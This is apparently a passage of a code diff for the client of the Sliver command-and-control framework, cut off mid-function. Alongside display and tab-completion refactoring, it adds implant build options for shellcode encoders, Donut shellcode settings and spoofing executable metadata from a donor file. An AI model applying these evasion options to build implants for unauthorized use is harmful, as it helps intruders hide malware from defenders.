carapace.ActionFiles().Usage("local path where the downloaded file will be saved (optional)"),
|
||||
)
|
||||
completers.RegisterLocalFilePathPositionalCompletion(downloadCmd, 1)
|
||||
|
||||
uploadCmd := &cobra.Command{
|
||||
Use: consts.UploadStr,
|
||||
@@ -194,6 +196,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
carapace.ActionFiles().Usage("local path to the file to upload"),
|
||||
carapace.ActionValues().Usage("path to the file or directory to upload to (optional)"),
|
||||
)
|
||||
completers.RegisterLocalFilePathPositionalCompletion(uploadCmd, 0)
|
||||
|
||||
memfilesCmd := &cobra.Command{
|
||||
Use: consts.MemfilesStr,
|
||||
|
||||
@@ -29,7 +29,6 @@ import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/fatih/color"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
@@ -239,19 +238,19 @@ func printGrep(grep *sliverpb.Grep, searchPattern string, searchPath string, cmd
|
||||
// grepLineResult - Add color or formatting for results for console output
|
||||
func grepLineResult(positions []*sliverpb.GrepLinePosition, line string, colorize bool, allowFormatting bool) string {
|
||||
var result string = ""
|
||||
var matchOutput func(a ...interface{}) string
|
||||
var previousPositionEnd int32 = 0
|
||||
|
||||
matchStyle := console.StyleNormal
|
||||
if colorize {
|
||||
matchOutput = color.New(color.FgRed, color.Bold).SprintFunc()
|
||||
matchStyle = console.StyleBoldRed
|
||||
} else if allowFormatting {
|
||||
matchOutput = color.New(color.Bold).SprintFunc()
|
||||
matchStyle = console.StyleBold
|
||||
}
|
||||
|
||||
for idx, position := range positions {
|
||||
if colorize || allowFormatting {
|
||||
result += line[previousPositionEnd:position.Start]
|
||||
result += matchOutput(line[position.Start:position.End])
|
||||
result += matchStyle.Render(line[position.Start:position.End])
|
||||
if idx == len(positions)-1 {
|
||||
result += line[position.End:]
|
||||
} else {
|
||||
|
||||
@@ -32,7 +32,7 @@ func PrintCanaries(con *console.SliverClient, canaries []*clientpb.DNSCanary, bu
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Sliver Name",
|
||||
"Implant Name",
|
||||
"Domain",
|
||||
"Triggered",
|
||||
"First Trigger",
|
||||
@@ -42,20 +42,20 @@ func PrintCanaries(con *console.SliverClient, canaries []*clientpb.DNSCanary, bu
|
||||
if burnedOnly && !canary.Triggered {
|
||||
continue
|
||||
}
|
||||
lineColor := console.Normal
|
||||
lineStyle := console.StyleNormal
|
||||
if canary.Triggered {
|
||||
lineColor = console.Bold + console.Red
|
||||
lineStyle = console.StyleBoldRed
|
||||
}
|
||||
firstTrigger := "Never"
|
||||
latestTrigger := "Never"
|
||||
if canary.Triggered {
|
||||
firstTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.FirstTriggered)
|
||||
latestTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.LatestTrigger)
|
||||
firstTrigger = lineStyle.Render(canary.FirstTriggered)
|
||||
latestTrigger = lineStyle.Render(canary.LatestTrigger)
|
||||
}
|
||||
row := table.Row{
|
||||
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.ImplantName),
|
||||
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.Domain),
|
||||
fmt.Sprintf(lineColor+"%v"+console.Normal, canary.Triggered),
|
||||
lineStyle.Render(canary.ImplantName),
|
||||
lineStyle.Render(canary.Domain),
|
||||
lineStyle.Render(fmt.Sprintf("%v", canary.Triggered)),
|
||||
firstTrigger,
|
||||
latestTrigger,
|
||||
}
|
||||
|
||||
@@ -1,8 +1,12 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/rsteube/carapace"
|
||||
@@ -10,6 +14,15 @@ import (
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
const spoofMetadataLongHelp = `
|
||||
|
||||
Spoof Metadata:
|
||||
--spoof-metadata
|
||||
Use metadata settings from <client app dir>/spoof-metadata.yaml.
|
||||
--spoof-metadata /path/to/donor.exe
|
||||
Use metadata from the specified donor file. The donor must match the target format/goos/goarch.
|
||||
`
|
||||
|
||||
// Commands returns the “ command and its subcommands.
|
||||
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
// [ Generate ] --------------------------------------------------------------
|
||||
@@ -82,6 +95,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.BoolP("skip-tests", "s", false, "skip testing the traffic encoder (not recommended)")
|
||||
})
|
||||
carapace.Gen(trafficEncodersAddCmd).PositionalCompletion(carapace.ActionFiles("wasm").Tag("wasm files").Usage("local file path (expects .wasm)"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(trafficEncodersAddCmd, 0)
|
||||
trafficEncodersCmd.AddCommand(trafficEncodersAddCmd)
|
||||
|
||||
trafficEncodersRmCmd := &cobra.Command{
|
||||
@@ -114,6 +128,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.BindFlagCompletions(regenerateCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(regenerateCmd, "save")
|
||||
carapace.Gen(regenerateCmd).PositionalCompletion(ImplantBuildNameCompleter(con))
|
||||
|
||||
// [ Profiles ] --------------------------------------------------------------
|
||||
@@ -142,13 +157,15 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
}
|
||||
flags.Bind("profiles", false, profilesGenerateCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("save", "s", "", "directory/file to the binary to")
|
||||
f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
|
||||
f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
|
||||
f.StringP("name", "n", "", "Implant name")
|
||||
|
||||
})
|
||||
flags.BindFlagCompletions(profilesGenerateCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(profilesGenerateCmd, "save")
|
||||
carapace.Gen(profilesGenerateCmd).PositionalCompletion(ProfileNameCompleter(con))
|
||||
profilesCmd.AddCommand(profilesGenerateCmd)
|
||||
|
||||
@@ -180,6 +197,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.BoolP("prepend-size", "p", false, "Prepend stage size")
|
||||
f.StringP("compress", "c", "", "Compress stage (zlib, gzip, deflate9 or deflate)")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(profilesStageCmd, "save")
|
||||
|
||||
carapace.Gen(profilesStageCmd).PositionalCompletion(ProfileNameCompleter(con))
|
||||
profilesCmd.AddCommand(profilesStageCmd)
|
||||
@@ -308,7 +326,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
|
||||
f.StringP("debug-file", "O", "", "path to debug output")
|
||||
f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)")
|
||||
f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation")
|
||||
f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
|
||||
f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
|
||||
f.StringP("exports", "v", "StartW,VoidFunc,DllInstall,DllRegisterServer,DllUnregisterServer", "comma separated list of exports to include in the binary")
|
||||
f.StringP("canary", "c", "", "canary domain(s)")
|
||||
|
||||
@@ -340,9 +358,75 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
|
||||
f.StringP("limit-hostname", "z", "", "limit execution to specified hostname")
|
||||
f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem")
|
||||
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
|
||||
bindSpoofMetadataFlag(f)
|
||||
|
||||
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
|
||||
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows, darwin/arm64, linux/amd64, linux/arm64)")
|
||||
|
||||
// Shellcode generation options:
|
||||
// - Windows: Donut
|
||||
// - macOS: beignet
|
||||
// - Linux: malasada
|
||||
f.Uint32("shellcode-entropy", 1, "Shellcode entropy (Donut: 1=none, 2=random names, 3=random+encrypt) (windows shellcode only)")
|
||||
f.Bool("shellcode-compress", false, "Enable shellcode compression (aPLib) (windows, macOS, and Linux shellcode)")
|
||||
f.Uint32("shellcode-exitopt", 1, "Shellcode exit option (Donut: 1=exit thread, 2=exit process, 3=block) (windows shellcode only)")
|
||||
f.Uint32("shellcode-bypass", 3, "Shellcode bypass mode (Donut: 1=none, 2=abort, 3=continue) (windows shellcode only)")
|
||||
f.Uint32("shellcode-headers", 1, "Shellcode headers handling (Donut: 1=overwrite, 2=keep) (windows shellcode only)")
|
||||
f.Bool("shellcode-thread", false, "Run unmanaged EXE entrypoint as a new thread (Donut) (windows shellcode only)")
|
||||
f.Bool("shellcode-unicode", false, "Use Unicode command line for unmanaged DLL entrypoints (Donut) (windows shellcode only)")
|
||||
f.Uint32("shellcode-oep", 0, "Override original entry point (OEP) (Donut) (windows shellcode only)")
|
||||
|
||||
// Backwards-compatible deprecated Donut flags (hidden).
|
||||
f.Uint32("donut-entropy", 1, "Deprecated (use --shellcode-entropy)")
|
||||
_ = f.MarkDeprecated("donut-entropy", "use --shellcode-entropy")
|
||||
_ = f.MarkHidden("donut-entropy")
|
||||
f.Bool("donut-compress", false, "Deprecated (use --shellcode-compress)")
|
||||
_ = f.MarkDeprecated("donut-compress", "use --shellcode-compress")
|
||||
_ = f.MarkHidden("donut-compress")
|
||||
f.Uint32("donut-exitopt", 1, "Deprecated (use --shellcode-exitopt)")
|
||||
_ = f.MarkDeprecated("donut-exitopt", "use --shellcode-exitopt")
|
||||
_ = f.MarkHidden("donut-exitopt")
|
||||
f.Uint32("donut-bypass", 3, "Deprecated (use --shellcode-bypass)")
|
||||
_ = f.MarkDeprecated("donut-bypass", "use --shellcode-bypass")
|
||||
_ = f.MarkHidden("donut-bypass")
|
||||
f.Uint32("donut-headers", 1, "Deprecated (use --shellcode-headers)")
|
||||
_ = f.MarkDeprecated("donut-headers", "use --shellcode-headers")
|
||||
_ = f.MarkHidden("donut-headers")
|
||||
f.Bool("donut-thread", false, "Deprecated (use --shellcode-thread)")
|
||||
_ = f.MarkDeprecated("donut-thread", "use --shellcode-thread")
|
||||
_ = f.MarkHidden("donut-thread")
|
||||
f.Bool("donut-unicode", false, "Deprecated (use --shellcode-unicode)")
|
||||
_ = f.MarkDeprecated("donut-unicode", "use --shellcode-unicode")
|
||||
_ = f.MarkHidden("donut-unicode")
|
||||
f.Uint32("donut-oep", 0, "Deprecated (use --shellcode-oep)")
|
||||
_ = f.MarkDeprecated("donut-oep", "use --shellcode-oep")
|
||||
_ = f.MarkHidden("donut-oep")
|
||||
})
|
||||
appendSpoofMetadataLongHelp(cmd)
|
||||
}
|
||||
|
||||
func bindSpoofMetadataFlag(f *pflag.FlagSet) {
|
||||
if f == nil {
|
||||
return
|
||||
}
|
||||
spoofMetadataFlag := f.VarPF(newSpoofMetadataFlagValue(), spoofMetadataFlagName, "", "spoof executable metadata (optional donor path)")
|
||||
if spoofMetadataFlag != nil {
|
||||
spoofMetadataFlag.NoOptDefVal = "true"
|
||||
}
|
||||
}
|
||||
|
||||
func appendSpoofMetadataLongHelp(cmd *cobra.Command) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
if strings.Contains(cmd.Long, "--spoof-metadata") {
|
||||
return
|
||||
}
|
||||
trimmed := strings.TrimRight(cmd.Long, "\n")
|
||||
if trimmed == "" {
|
||||
cmd.Long = strings.TrimLeft(spoofMetadataLongHelp, "\n")
|
||||
return
|
||||
}
|
||||
cmd.Long = trimmed + spoofMetadataLongHelp
|
||||
}
|
||||
|
||||
// coreImplantFlagCompletions binds completions to flags registered in coreImplantFlags.
|
||||
@@ -353,10 +437,14 @@ func coreImplantFlagCompletions(cmd *cobra.Command, con *console.SliverClient) {
|
||||
(*comp)["arch"] = ArchCompleter(con)
|
||||
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
|
||||
(*comp)["format"] = FormatCompleter()
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||
(*comp)["save"] = completers.LocalFilePathCompleter().Tag("directory/file to save implant")
|
||||
(*comp)[spoofMetadataFlagName] = carapace.ActionFiles().Tag("optional donor metadata file")
|
||||
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
|
||||
(*comp)["traffic-encoders"] = TrafficEncodersCompleter(con).UniqueList(",")
|
||||
(*comp)["c2profile"] = HTTPC2Completer(con)
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletions(cmd, "save", "debug-file", spoofMetadataFlagName)
|
||||
registerImplantTargetFlagCompletions(cmd, con)
|
||||
}
|
||||
|
||||
// coreBeaconFlags binds all flags specific to beacon implants (profiles or compiled).
|
||||
|
||||
@@ -0,0 +1,51 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func TestGenerateSaveFlagCompletionRegistered(t *testing.T) {
|
||||
cmds := Commands(&console.SliverClient{})
|
||||
|
||||
generateCmd := commandByUse(cmds, consts.GenerateStr)
|
||||
if generateCmd == nil {
|
||||
t.Fatalf("missing %q command", consts.GenerateStr)
|
||||
}
|
||||
assertFlagHasDefaultFileCompletion(t, generateCmd, "save")
|
||||
|
||||
beaconCmd := commandByUse(generateCmd.Commands(), consts.BeaconStr)
|
||||
if beaconCmd == nil {
|
||||
t.Fatalf("missing %q subcommand", consts.BeaconStr)
|
||||
}
|
||||
assertFlagHasDefaultFileCompletion(t, beaconCmd, "save")
|
||||
}
|
||||
|
||||
func assertFlagHasDefaultFileCompletion(t *testing.T, cmd *cobra.Command, flag string) {
|
||||
t.Helper()
|
||||
|
||||
completionFn, ok := cmd.GetFlagCompletionFunc(flag)
|
||||
if !ok {
|
||||
t.Fatalf("%q missing %q flag completion func", cmd.Use, flag)
|
||||
}
|
||||
|
||||
values, directive := completionFn(cmd, nil, "")
|
||||
if len(values) != 0 {
|
||||
t.Fatalf("%q %q completion should return no explicit values, got %d", cmd.Use, flag, len(values))
|
||||
}
|
||||
if directive != cobra.ShellCompDirectiveDefault {
|
||||
t.Fatalf("%q %q completion directive mismatch: got=%v want=%v", cmd.Use, flag, directive, cobra.ShellCompDirectiveDefault)
|
||||
}
|
||||
}
|
||||
|
||||
func commandByUse(cmds []*cobra.Command, use string) *cobra.Command {
|
||||
for _, cmd := range cmds {
|
||||
if cmd.Use == use {
|
||||
return cmd
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -22,7 +22,8 @@ var (
|
||||
// GenerateBeaconCmd - The main command used to generate implant binaries
|
||||
func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if shouldRunGenerateBeaconForm(cmd, con, args) {
|
||||
result, err := forms.GenerateBeaconForm()
|
||||
compiler, _ := compilerTargets(con)
|
||||
result, err := forms.GenerateBeaconForm(compiler)
|
||||
if err != nil {
|
||||
if errors.Is(err, forms.ErrUserAborted) {
|
||||
return
|
||||
@@ -40,8 +41,13 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []str
|
||||
if config == nil {
|
||||
return
|
||||
}
|
||||
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
config.IsBeacon = true
|
||||
err := parseBeaconFlags(cmd, config)
|
||||
err = parseBeaconFlags(cmd, config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -51,9 +57,9 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []str
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
|
||||
compile(name, config, save, con)
|
||||
compile(name, config, spoofMetadata, save, con)
|
||||
} else {
|
||||
externalBuild(name, config, save, con)
|
||||
externalBuild(name, config, spoofMetadata, save, con)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -15,19 +15,19 @@ func GenerateInfoCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
con.PrintErrorf("Failed to get compiler information: %s\n", err)
|
||||
return
|
||||
}
|
||||
con.Printf("%sServer:%s %s/%s\n", console.Bold, console.Normal, compiler.GOOS, compiler.GOARCH)
|
||||
con.Printf("%s %s/%s\n", console.StyleBold.Render("Server:"), compiler.GOOS, compiler.GOARCH)
|
||||
con.Println()
|
||||
con.Printf("%sCross Compilers%s\n", console.Bold, console.Normal)
|
||||
con.Printf("%s\n", console.StyleBold.Render("Cross Compilers"))
|
||||
for _, cc := range compiler.CrossCompilers {
|
||||
con.Printf("%s/%s - %s\n", cc.TargetGOOS, cc.TargetGOARCH, cc.GetCCPath())
|
||||
}
|
||||
con.Println()
|
||||
con.Printf("%sSupported Targets%s\n", console.Bold, console.Normal)
|
||||
con.Printf("%s\n", console.StyleBold.Render("Supported Targets"))
|
||||
for _, target := range compiler.Targets {
|
||||
con.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format))
|
||||
}
|
||||
con.Println()
|
||||
con.Printf("%sDefault Builds Only%s\n", console.Bold, console.Normal)
|
||||
con.Printf("%s\n", console.StyleBold.Render("Default Builds Only"))
|
||||
for _, target := range compiler.UnsupportedTargets {
|
||||
con.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format))
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
@@ -2,12 +2,15 @@ package generate
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// GetSliverBinary - Get the binary of an implant based on it's profile.
|
||||
@@ -28,19 +31,49 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverClient
|
||||
}
|
||||
data = generated.GetFile().GetData()
|
||||
|
||||
if profile.Config.Format == clientpb.OutputFormat_SHELLCODE && profile.Config.SGNEnabled {
|
||||
encodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
|
||||
Architecture: profile.Config.GOARCH,
|
||||
Iterations: 1,
|
||||
BadChars: []byte{},
|
||||
Data: data,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error encoding shellcode")
|
||||
return nil, err
|
||||
if profile.Config.Format == clientpb.OutputFormat_SHELLCODE {
|
||||
encoder := profile.Config.ShellcodeEncoder
|
||||
legacySGN := false
|
||||
if encoder == clientpb.ShellcodeEncoder_NONE && profile.Config.SGNEnabled {
|
||||
encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||
legacySGN = true
|
||||
}
|
||||
if encoder != clientpb.ShellcodeEncoder_NONE {
|
||||
encoderName := map[clientpb.ShellcodeEncoder]string{
|
||||
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
|
||||
clientpb.ShellcodeEncoder_XOR: "xor",
|
||||
clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
|
||||
}[encoder]
|
||||
if encoderName == "" {
|
||||
return nil, fmt.Errorf("unknown shellcode encoder enum %d", int32(encoder))
|
||||
}
|
||||
|
||||
encoderMap, err := fetchShellcodeEncoderMap(con)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if _, ok := shellcodeEncoderEnumForArch(encoderMap, profile.Config.GOARCH, encoderName); !ok {
|
||||
msg := fmt.Sprintf("shellcode encoder %q is not supported for arch %s", encoderName, normalizeShellcodeArch(profile.Config.GOARCH))
|
||||
if legacySGN {
|
||||
con.PrintWarnf("%s, skipping.\n", msg)
|
||||
} else {
|
||||
return nil, errors.New(msg)
|
||||
}
|
||||
} else {
|
||||
encodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: encoder,
|
||||
Architecture: profile.Config.GOARCH,
|
||||
Iterations: 1,
|
||||
BadChars: []byte{},
|
||||
Data: data,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error encoding shellcode")
|
||||
return nil, err
|
||||
}
|
||||
data = encodeResp.Data
|
||||
}
|
||||
}
|
||||
data = encodeResp.Data
|
||||
}
|
||||
|
||||
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
|
||||
@@ -51,71 +84,112 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverClient
|
||||
return data, err
|
||||
}
|
||||
|
||||
func compilerTargets(con *console.SliverClient) (*clientpb.Compiler, error) {
|
||||
if con == nil || con.Rpc == nil {
|
||||
return nil, fmt.Errorf("no compiler info")
|
||||
}
|
||||
return con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
|
||||
}
|
||||
|
||||
func appendUnique(values []string, value string) []string {
|
||||
for _, existing := range values {
|
||||
if existing == value {
|
||||
return values
|
||||
}
|
||||
}
|
||||
return append(values, value)
|
||||
}
|
||||
|
||||
func compilerArchValues(compiler *clientpb.Compiler) []string {
|
||||
results := []string{}
|
||||
|
||||
for _, target := range compiler.Targets {
|
||||
results = appendUnique(results, target.GOARCH)
|
||||
}
|
||||
|
||||
for _, target := range compiler.UnsupportedTargets {
|
||||
results = appendUnique(results, target.GOARCH)
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func compilerOSValues(compiler *clientpb.Compiler) []string {
|
||||
results := []string{}
|
||||
|
||||
for _, target := range compiler.Targets {
|
||||
results = appendUnique(results, target.GOOS)
|
||||
}
|
||||
|
||||
for _, target := range compiler.UnsupportedTargets {
|
||||
results = appendUnique(results, target.GOOS)
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func filterByPrefix(values []string, prefix string) []string {
|
||||
if prefix == "" {
|
||||
return values
|
||||
}
|
||||
|
||||
filtered := make([]string, 0, len(values))
|
||||
for _, value := range values {
|
||||
if strings.HasPrefix(value, prefix) {
|
||||
filtered = append(filtered, value)
|
||||
}
|
||||
}
|
||||
|
||||
return filtered
|
||||
}
|
||||
|
||||
func registerTargetFlagCompletion(cmd *cobra.Command, name string, valuesFn func(*clientpb.Compiler) []string, con *console.SliverClient) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
if _, ok := cmd.GetFlagCompletionFunc(name); ok {
|
||||
return
|
||||
}
|
||||
if cmd.Flags().Lookup(name) == nil && cmd.PersistentFlags().Lookup(name) == nil {
|
||||
return
|
||||
}
|
||||
_ = cmd.RegisterFlagCompletionFunc(name, func(_ *cobra.Command, _ []string, toComplete string) ([]string, cobra.ShellCompDirective) {
|
||||
compiler, err := compilerTargets(con)
|
||||
if err != nil {
|
||||
return nil, cobra.ShellCompDirectiveNoFileComp
|
||||
}
|
||||
|
||||
values := valuesFn(compiler)
|
||||
return filterByPrefix(values, toComplete), cobra.ShellCompDirectiveNoFileComp
|
||||
})
|
||||
}
|
||||
|
||||
func registerImplantTargetFlagCompletions(cmd *cobra.Command, con *console.SliverClient) {
|
||||
registerTargetFlagCompletion(cmd, "os", compilerOSValues, con)
|
||||
registerTargetFlagCompletion(cmd, "arch", compilerArchValues, con)
|
||||
}
|
||||
|
||||
// FormatCompleter completes builds' architectures.
|
||||
func ArchCompleter(con *console.SliverClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(_ carapace.Context) carapace.Action {
|
||||
compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
|
||||
compiler, err := compilerTargets(con)
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("No compiler info: %s", err.Error())
|
||||
}
|
||||
|
||||
var results []string
|
||||
|
||||
nextTarget:
|
||||
for _, target := range compiler.Targets {
|
||||
for _, res := range results {
|
||||
if res == target.GOARCH {
|
||||
continue nextTarget
|
||||
}
|
||||
}
|
||||
results = append(results, target.GOARCH)
|
||||
}
|
||||
|
||||
nextUnsupported:
|
||||
for _, target := range compiler.UnsupportedTargets {
|
||||
for _, res := range results {
|
||||
if res == target.GOARCH {
|
||||
continue nextUnsupported
|
||||
}
|
||||
}
|
||||
results = append(results, target.GOARCH)
|
||||
}
|
||||
|
||||
return carapace.ActionValues(results...).Tag("architectures")
|
||||
return carapace.ActionValues(compilerArchValues(compiler)...).Tag("architectures")
|
||||
})
|
||||
}
|
||||
|
||||
// FormatCompleter completes build operating systems.
|
||||
func OSCompleter(con *console.SliverClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(_ carapace.Context) carapace.Action {
|
||||
compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
|
||||
compiler, err := compilerTargets(con)
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("No compiler info: %s", err.Error())
|
||||
}
|
||||
|
||||
var results []string
|
||||
|
||||
nextTarget:
|
||||
for _, target := range compiler.Targets {
|
||||
for _, res := range results {
|
||||
if res == target.GOOS {
|
||||
continue nextTarget
|
||||
}
|
||||
}
|
||||
results = append(results, target.GOOS)
|
||||
}
|
||||
|
||||
nextUnsupported:
|
||||
for _, target := range compiler.UnsupportedTargets {
|
||||
for _, res := range results {
|
||||
if res == target.GOOS {
|
||||
continue nextUnsupported
|
||||
}
|
||||
}
|
||||
results = append(results, target.GOOS)
|
||||
}
|
||||
|
||||
return carapace.ActionValues(results...).Tag("operating systems")
|
||||
return carapace.ActionValues(compilerOSValues(compiler)...).Tag("operating systems")
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -124,7 +124,7 @@ func PrintImplantBuilds(builds *clientpb.ImplantBuilds, filters ImplantBuildFilt
|
||||
config.Format,
|
||||
strings.Join(c2URLs, "\n"),
|
||||
fmt.Sprintf("%v", config.Debug),
|
||||
fmt.Sprintf(config.HTTPC2ConfigName),
|
||||
fmt.Sprintf("%s", config.HTTPC2ConfigName),
|
||||
fmt.Sprintf("%v", builds.ResourceIDs[sliverName].Value),
|
||||
fmt.Sprintf("%v", builds.Staged[sliverName]),
|
||||
})
|
||||
|
||||
@@ -20,8 +20,10 @@ package generate
|
||||
|
||||
import (
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
@@ -44,11 +46,42 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
||||
}
|
||||
profile := GetImplantProfileByName(name, con)
|
||||
if profile != nil {
|
||||
// If SGN is explicitly disabled, make sure this compilation reflects that despite whatever is set in the profile
|
||||
if SGNDisabled, _ := cmd.Flags().GetBool("disable-sgn"); SGNDisabled {
|
||||
profile.Config.SGNEnabled = !SGNDisabled
|
||||
// Override shellcode encoder if explicitly requested.
|
||||
if cmd.Flags().Changed("shellcode-encoder") {
|
||||
rawEncoder, _ := cmd.Flags().GetString("shellcode-encoder")
|
||||
rawEncoder = strings.TrimSpace(rawEncoder)
|
||||
if rawEncoder == "" {
|
||||
con.PrintErrorf("shellcode-encoder cannot be empty; use 'none' to disable encoding\n")
|
||||
return
|
||||
}
|
||||
|
||||
normalized := normalizeShellcodeEncoderName(rawEncoder)
|
||||
if normalized == "none" {
|
||||
profile.Config.ShellcodeEncoder = clientpb.ShellcodeEncoder_NONE
|
||||
profile.Config.SGNEnabled = false
|
||||
} else if profile.Config.Format != clientpb.OutputFormat_SHELLCODE {
|
||||
con.PrintWarnf("Shellcode encoder only applies when using `--format shellcode`, ignoring.\n")
|
||||
} else {
|
||||
encoderMap, err := fetchShellcodeEncoderMap(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to fetch shellcode encoders: %s\n", err)
|
||||
return
|
||||
}
|
||||
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, profile.Config.GOARCH, rawEncoder)
|
||||
if !ok {
|
||||
compatible := compatibleShellcodeEncoderNames(encoderMap, profile.Config.GOARCH)
|
||||
if len(compatible) == 0 {
|
||||
